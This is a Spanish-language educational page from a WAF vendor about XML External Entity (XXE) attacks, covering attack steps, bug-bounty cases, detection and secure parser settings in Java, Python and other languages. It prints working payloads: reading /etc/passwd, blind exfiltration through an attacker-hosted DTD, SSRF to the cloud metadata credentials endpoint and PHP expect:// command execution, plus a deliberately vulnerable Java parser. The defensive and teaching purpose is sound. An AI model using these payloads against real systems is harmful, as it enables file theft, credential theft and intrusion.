Skip to main content
AltoProtected by PowerWAF

Ataque de Entidad Externa XML (XXE)

CategoríaArchivos y RutasOWASPA05:2021 – Configuración de Seguridad IncorrectaPrimera aparición2002Tiempo de lectura11 minVerificado2026-03-12
DEFINICIÓN

Un ataque de Entidad Externa XML (XXE) explota parsers XML vulnerables que procesan declaraciones de entidades externas dentro de la entrada XML. Al inyectar una Definición de Tipo de Documento (DTD) manipulada en datos XML enviados a la aplicación, el atacante fuerza al servidor a leer archivos locales, realizar Server-Side Request Forgery (SSRF), ejecutar ataques de denegación de servicio o — en ciertas configuraciones — lograr ejecución remota de código. XXE es especialmente peligroso porque el análisis XML es ubicuo: sustenta las APIs SOAP, la autenticación SAML, los documentos Office, las imágenes SVG, los feeds RSS e innumerables formatos de intercambio de datos.

Cómo Funciona Ataque de Entidad Externa XML (XXE)

XML soporta una característica llamada entidades externas, definidas en una Definición de Tipo de Documento (DTD). Una entidad es esencialmente una variable: <!ENTITY nombre "valor"> define una entidad interna, mientras que <!ENTITY nombre SYSTEM "file:///etc/passwd"> define una entidad externa que carga su valor desde un recurso externo — un archivo local, una URL o incluso un servicio de red. Cuando un parser XML vulnerable procesa la entrada que contiene estas declaraciones y luego expande la referencia de entidad (&nombre;) en el cuerpo del documento, obtiene el recurso externo e incluye su contenido en la salida parseada. El atacante no necesita acceso especial — simplemente envía XML manipulado a cualquier endpoint que parsee entrada XML.

1

Identificar superficies de entrada XML

El atacante mapea todos los endpoints que aceptan o procesan XML: endpoints de API SOAP/REST con Content-Type: application/xml o text/xml, formularios de subida de archivos que aceptan archivos DOCX/XLSX/SVG/XML (todos basados en XML), endpoints SAML SSO, importadores de feeds RSS/Atom, endpoints XML-RPC, importadores de archivos de configuración y cualquier endpoint que acepte datos multipart donde una parte podría parsearse como XML. Incluso las APIs JSON pueden ser vulnerables si el servidor también acepta XML (muchos frameworks auto-negocian el Content-Type). El atacante cambia el Content-Type de application/json a application/xml y envía XML equivalente — si el servidor lo procesa, comienzan las pruebas de XXE.

2

Probar XXE básico con un archivo conocido

El atacante envía XML conteniendo una entidad externa que referencia un archivo conocido y legible: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>. Si la respuesta parseada contiene el contenido del archivo (la lista de usuarios de /etc/passwd), se confirma el XXE clásico. En Windows, el archivo de prueba es C:\Windows\win.ini. Si la respuesta no refleja el valor de la entidad (la aplicación no muestra el XML parseado), el atacante pivota a XXE fuera de banda (OOB), usando una entidad HTTP que activa un callback al servidor controlado por el atacante: <!ENTITY xxe SYSTEM "http://atacante.com/xxe-test"> — una búsqueda DNS o solicitud HTTP en los logs del servidor del atacante confirma la vulnerabilidad incluso sin salida visible.

3

Exfiltrar datos mediante canales fuera de banda

Para XXE ciego (sin salida directa), el atacante usa entidades de parámetro para exfiltrar datos a través de HTTP o DNS: (1) Definir una entidad de parámetro que lea un archivo local: <!ENTITY % data SYSTEM "file:///etc/passwd">; (2) Definir una segunda entidad que incruste el contenido del archivo en una URL: <!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://atacante.com/?d=%data;'>">; (3) Alojar un DTD externo en el servidor del atacante conteniendo estas definiciones; (4) Referenciar el DTD externo: <!DOCTYPE foo SYSTEM "http://atacante.com/evil.dtd">. El parser obtiene el DTD externo, procesa las definiciones de entidades encadenadas, lee el archivo local y envía su contenido al servidor del atacante como un parámetro de URL. La exfiltración basada en DNS funciona incluso cuando HTTP está bloqueado.

4

Realizar SSRF mediante XXE

XXE es un poderoso vector de SSRF. Al usar entidades con URIs http:// o https:// apuntando a recursos internos, el atacante fuerza al parser XML a realizar solicitudes del lado del servidor: <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> recupera metadatos de instancia de AWS incluyendo credenciales IAM temporales. <!ENTITY xxe SYSTEM "http://api-interna.corp:8080/admin/users"> accede a APIs internas. El parser XML actúa como proxy, realizando solicitudes autenticadas desde la posición de red del servidor — evadiendo firewalls, VPNs y segmentación de red que bloquearían el acceso externo directo.

5

Denegación de servicio y ejecución de código

XXE habilita ataques DoS potentes: el ataque 'Billion Laughs' (bomba XML) define entidades anidadas que se expanden exponencialmente — 10 niveles de expansión 10x producen 10 mil millones de copias de entidad a partir de unos pocos kilobytes de XML, consumiendo toda la memoria disponible y colapsando el parser. Para ejecución de código, el wrapper expect:// de PHP (expect://id) ejecuta comandos del sistema cuando se usa como URI de entidad. El procesamiento XSLT de Java puede ser abusado para ejecución de código vía scripting incrustado. Incluso sin ejecución directa de código, la combinación de lectura de archivos (extracción de credenciales) y SSRF (acceso a servicios internos) típicamente proporciona un camino hacia el compromiso total del servidor.

Ejemplos Reales

2014

XXE en Facebook vía subida de DOCX (Bug Bounty)

El investigador de seguridad Mohamed Ramadan descubrió que la página de empleos de Facebook procesaba currículos DOCX subidos a través de un parser XML vulnerable a XXE. Un archivo DOCX es un archivo ZIP que contiene archivos XML — al modificar el XML interno para incluir una entidad externa apuntando a un archivo local, el investigador leyó archivos de los servidores de Facebook. Facebook confirmó la vulnerabilidad, la parcheó y otorgó una recompensa por el hallazgo. El caso demostró que cualquier formato de archivo basado en XML (DOCX, XLSX, PPTX, ODT, SVG) puede ser un vector de XXE, incluso cuando la aplicación no parece aceptar entrada XML cruda.

2018

XXE en SAML afectando múltiples proveedores SSO

Investigadores de Duo Security (ahora parte de Cisco) descubrieron vulnerabilidades XXE en siete bibliotecas SAML SSO en múltiples lenguajes (Python, Ruby, PHP, Java). SAML — el protocolo que sustenta el inicio de sesión único empresarial — usa mensajes XML firmados. Las bibliotecas vulnerables parseaban el XML antes de validar la firma, permitiendo a los atacantes inyectar cargas XXE en mensajes de autenticación. Cualquier aplicación que usara estas bibliotecas para SSO (incluyendo OneLogin, despliegues de Shibboleth e integraciones SAML personalizadas) era vulnerable a evasión de autenticación, divulgación de archivos y SSRF. El hallazgo afectó a miles de aplicaciones empresariales.

2016

XXE en Uber vía cálculo de tarifas con XLSX

Un investigador descubrió que el portal de socios conductores de Uber procesaba hojas de cálculo XLSX subidas con un parser XML vulnerable. Al crear un archivo XLSX que contenía cargas XXE en los documentos XML internos, el investigador logró lectura de archivos locales en los servidores de Uber. La vulnerabilidad estaba en la función de importación de cálculo de tarifas donde los conductores subían hojas de cálculo. Uber otorgó una recompensa de $10,000. El caso destacó cómo XXE puede ocultarse en cualquier funcionalidad que procese formatos de documentos estructurados — hojas de cálculo, documentos de texto, presentaciones — no solo en APIs XML obvias.

Impacto y Evaluación de Riesgo

XXE se clasifica como Alto (y fue una categoría dedicada del OWASP Top 10 en 2017 como A4: Entidades Externas XML) porque proporciona un kit de herramientas versátil para atacantes: la divulgación de archivos locales revela credenciales, claves y código fuente; SSRF habilita el acceso a endpoints de metadatos de la nube y servicios internos; DoS vía bombas XML puede colapsar sistemas de producción; y en configuraciones específicas, la ejecución de código es alcanzable. La superficie de ataque es engañosamente grande — XXE no se limita a APIs XML explícitas. Cualquier aplicación que procese DOCX, XLSX, SVG, SAML, RSS, SOAP o archivos de configuración puede ser vulnerable. La prevalencia de XML en sistemas empresariales (servicios SOAP, SAML SSO, pipelines de procesamiento de documentos) significa que XXE continúa afectando infraestructura crítica incluso mientras las aplicaciones más nuevas migran a JSON. Los programas de bug bounty clasifican consistentemente a XXE entre las 10 clases de vulnerabilidad más reportadas.

Cómo Detectar Ataque de Entidad Externa XML (XXE)

Monitorear indicadores de XXE en múltiples capas: (1) Reglas del WAF que detecten declaraciones DOCTYPE, definiciones ENTITY y palabras clave SYSTEM/PUBLIC en cargas XML entrantes — estas raramente aparecen en entrada legítima de aplicaciones; (2) Escanear referencias de entidades (&xxe;, &#x25;) y URIs sospechosas en contenido XML (file://, expect://, php://, http:// apuntando a IPs internas o endpoints de metadatos); (3) Monitorear conexiones de red salientes desde servicios de procesamiento XML — un parser realizando solicitudes HTTP/DNS a destinos inesperados indica explotación de XXE o SSRF; (4) Registro a nivel de aplicación que registre eventos de parseo XML y marque cualquier resolución de entidad externa; (5) Monitoreo de memoria en servicios de procesamiento XML — picos repentinos de memoria indican ataques de bomba XML (Billion Laughs); (6) Reglas de detección de intrusiones para cargas XXE conocidas en cuerpos de solicitudes HTTP y contenido de subidas multipart.

Cómo Prevenir Ataque de Entidad Externa XML (XXE)

La defensa principal es deshabilitar el procesamiento de entidades externas en el parser XML — este único cambio de configuración neutraliza casi todas las variantes de XXE. La implementación varía por lenguaje: (1) Java: DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) o usar defusedxml; (2) Python: usar la biblioteca defusedxml en lugar de xml.etree, o establecer forbid_dtd=True, forbid_entities=True, forbid_external=True en el parser; (3) PHP: libxml_disable_entity_loader(true) (PHP < 8.0) o asegurar que LIBXML_NOENT nunca se pase al parser; (4) .NET: XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit; (5) Ruby/Nokogiri: Nokogiri::XML(input) { |config| config.noent.nonet }. Adicionalmente: validar y sanitizar entrada XML usando esquemas (XSD), rechazar XML que contenga declaraciones DOCTYPE a nivel de WAF, convertir APIs XML a JSON donde sea posible, mantener actualizadas las bibliotecas de procesamiento XML, y aplicar mínimo privilegio a la cuenta de servicio que ejecuta el procesamiento XML para limitar el impacto de la divulgación de archivos.

Ejemplos de Código

Classic XXE: Local file disclosure
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
<email>attacker@example.com</email>
</user>

<!-- Server response includes the contents of /etc/passwd:
<user>
<name>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...</name>
<email>attacker@example.com</email>
</user>
-->

<!-- Blind XXE via out-of-band exfiltration: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<data>&send;</data>

<!-- evil.dtd hosted on attacker's server:
<!ENTITY % payload "<!ENTITY send SYSTEM 'http://attacker.com/exfil?d=%file;'>">
%payload;
-->
Vulnerable vs. Secure: Java XML parsing
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.DocumentBuilder;
import org.w3c.dom.Document;
import java.io.ByteArrayInputStream;

public class XMLProcessor {

// VULNERABLE: Default Java DocumentBuilder allows external entities
public Document parseUnsafe(String xml) throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// No security features configured — XXE is possible!
DocumentBuilder builder = factory.newDocumentBuilder();
return builder.parse(new ByteArrayInputStream(xml.getBytes()));
}

// SECURE: Disable DTDs and external entities entirely
public Document parseSafe(String xml) throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

// Disallow DTDs entirely (the nuclear option — most effective)
factory.setFeature(
"http://apache.org/xml/features/disallow-doctype-decl", true);

// Defense-in-depth: disable external entities even if DTD is somehow allowed
factory.setFeature(
"http://xml.org/sax/features/external-general-entities", false);
factory.setFeature(
"http://xml.org/sax/features/external-parameter-entities", false);

// Disable external DTD loading
factory.setFeature(
"http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

// Disable XInclude processing
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);

DocumentBuilder builder = factory.newDocumentBuilder();
return builder.parse(new ByteArrayInputStream(xml.getBytes()));
}
}
Secure: Python XML parsing with defusedxml
# VULNERABLE: Standard library XML parsers are XXE-prone
# import xml.etree.ElementTree as ET # DO NOT USE for untrusted XML
# tree = ET.parse('input.xml') # Allows external entities!

# SECURE: Use the defusedxml library (pip install defusedxml)
import defusedxml.ElementTree as ET
from defusedxml import DefusedXmlException
from defusedxml.common import DTDForbidden, EntitiesForbidden

def parse_xml_safely(xml_string: str) -> dict:
"""Parse XML input with all dangerous features disabled."""
try:
# defusedxml automatically blocks:
# - DTD processing
# - External entity expansion
# - External DTD loading
# - Entity expansion beyond configurable limits
root = ET.fromstring(xml_string)

return {
'tag': root.tag,
'text': root.text,
'children': [
{'tag': child.tag, 'text': child.text}
for child in root
]
}

except DTDForbidden:
raise ValueError('XML with DTD declarations is not allowed')
except EntitiesForbidden:
raise ValueError('XML with entity definitions is not allowed')
except DefusedXmlException as e:
raise ValueError(f'Potentially malicious XML blocked: {e}')
except ET.ParseError as e:
raise ValueError(f'Invalid XML: {e}')


# For DOCX/XLSX/SVG file processing:
def safe_process_docx(file_path: str):
"""Process DOCX files with XXE protection."""
import zipfile
import defusedxml.ElementTree as SafeET

with zipfile.ZipFile(file_path, 'r') as z:
# DOCX internal XML files that could contain XXE
for xml_file in ['word/document.xml', 'word/styles.xml']:
if xml_file in z.namelist():
with z.open(xml_file) as f:
# Parse each internal XML file safely
tree = SafeET.parse(f) # XXE blocked automatically

Preguntas Frecuentes

Sí — esta es una de las concepciones erróneas más comunes sobre XXE. Cualquier aplicación que procese formatos de archivo basados en XML es potencialmente vulnerable: DOCX/XLSX/PPTX (Office Open XML), imágenes SVG, feeds RSS/Atom, mensajes de autenticación SAML, entrada XHTML, solicitudes SOAP, archivos PDF con formularios XFA y archivos de configuración (web.config, .plist, pom.xml). Si tu aplicación acepta subidas de archivos y procesa cualquiera de estos formatos, puede ser vulnerable a XXE incluso si no tiene un endpoint de API XML explícito.
El ataque Billion Laughs (también llamado bomba XML) es un ataque DoS que usa expansión de entidades anidadas. Define 10 entidades donde cada una referencia la anterior 10 veces: <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> ... hasta lol9. La entidad inicial 'lol' podría ser solo 3 bytes, pero después de 9 niveles de expansión 10x, produce 10^9 (mil millones) de copias — aproximadamente 3 GB de datos desde un documento XML de ~1 KB. Esto agota la memoria del parser y colapsa el proceso. La defensa es limitar la profundidad de expansión de entidades y el tamaño total expandido, o simplemente prohibir el procesamiento de DTD.
JSON en sí mismo no soporta declaraciones de entidades ni referencias externas, por lo que el parseo JSON no es vulnerable a XXE. Sin embargo, muchos frameworks web aceptan tanto JSON como XML (negociación de contenido), y un atacante puede enviar una carga XML con Content-Type: application/xml a un endpoint que normalmente recibe JSON. Si el framework parsea automáticamente XML cuando la cabecera Content-Type lo indica, el endpoint se vuelve vulnerable a XXE a pesar de estar diseñado para JSON. Siempre restringe explícitamente el Content-Type aceptado solo a los formatos que tu aplicación necesita.
Un WAF proporciona protección valiosa detectando declaraciones DOCTYPE, definiciones ENTITY, palabras clave SYSTEM/PUBLIC y cargas XXE conocidas en cuerpos de solicitudes HTTP. La detección XXE de PowerWAF cubre cargas XML directas, XXE en subidas de archivos multipart (DOCX, XLSX, SVG), variantes codificadas y abuso de entidades de parámetro. Sin embargo, la protección del WAF debe complementar — no reemplazar — el endurecimiento a nivel del parser (deshabilitar entidades externas) porque algunos vectores de XXE usan estructuras XML de apariencia legítima que son difíciles de distinguir de la entrada normal sin inspección profunda de contenido.
XXE es uno de los mecanismos de entrega de SSRF más poderosos. Cuando un parser XML resuelve una entidad externa con una URI HTTP/HTTPS, realiza una solicitud del lado del servidor desde la posición de red del servidor de la aplicación. Esto permite al atacante acceder a servicios internos (http://api-interna:8080/), endpoints de metadatos de la nube (http://169.254.169.254/) y otros recursos detrás del firewall — exactamente como el SSRF tradicional. La diferencia clave es el mecanismo de entrega: SSRF explota la lógica de la aplicación que realiza solicitudes HTTP, mientras que XXE explota el parser XML en sí. Defenderse contra uno no protege contra el otro.

PowerWAF bloquea automáticamente Ataque de Entidad Externa XML (XXE) antes de que llegue a tu servidor.

Implementa en minutos. Sin cambios de código. Plan gratuito disponible.

Los cupos del plan gratuito son limitados · No credit card required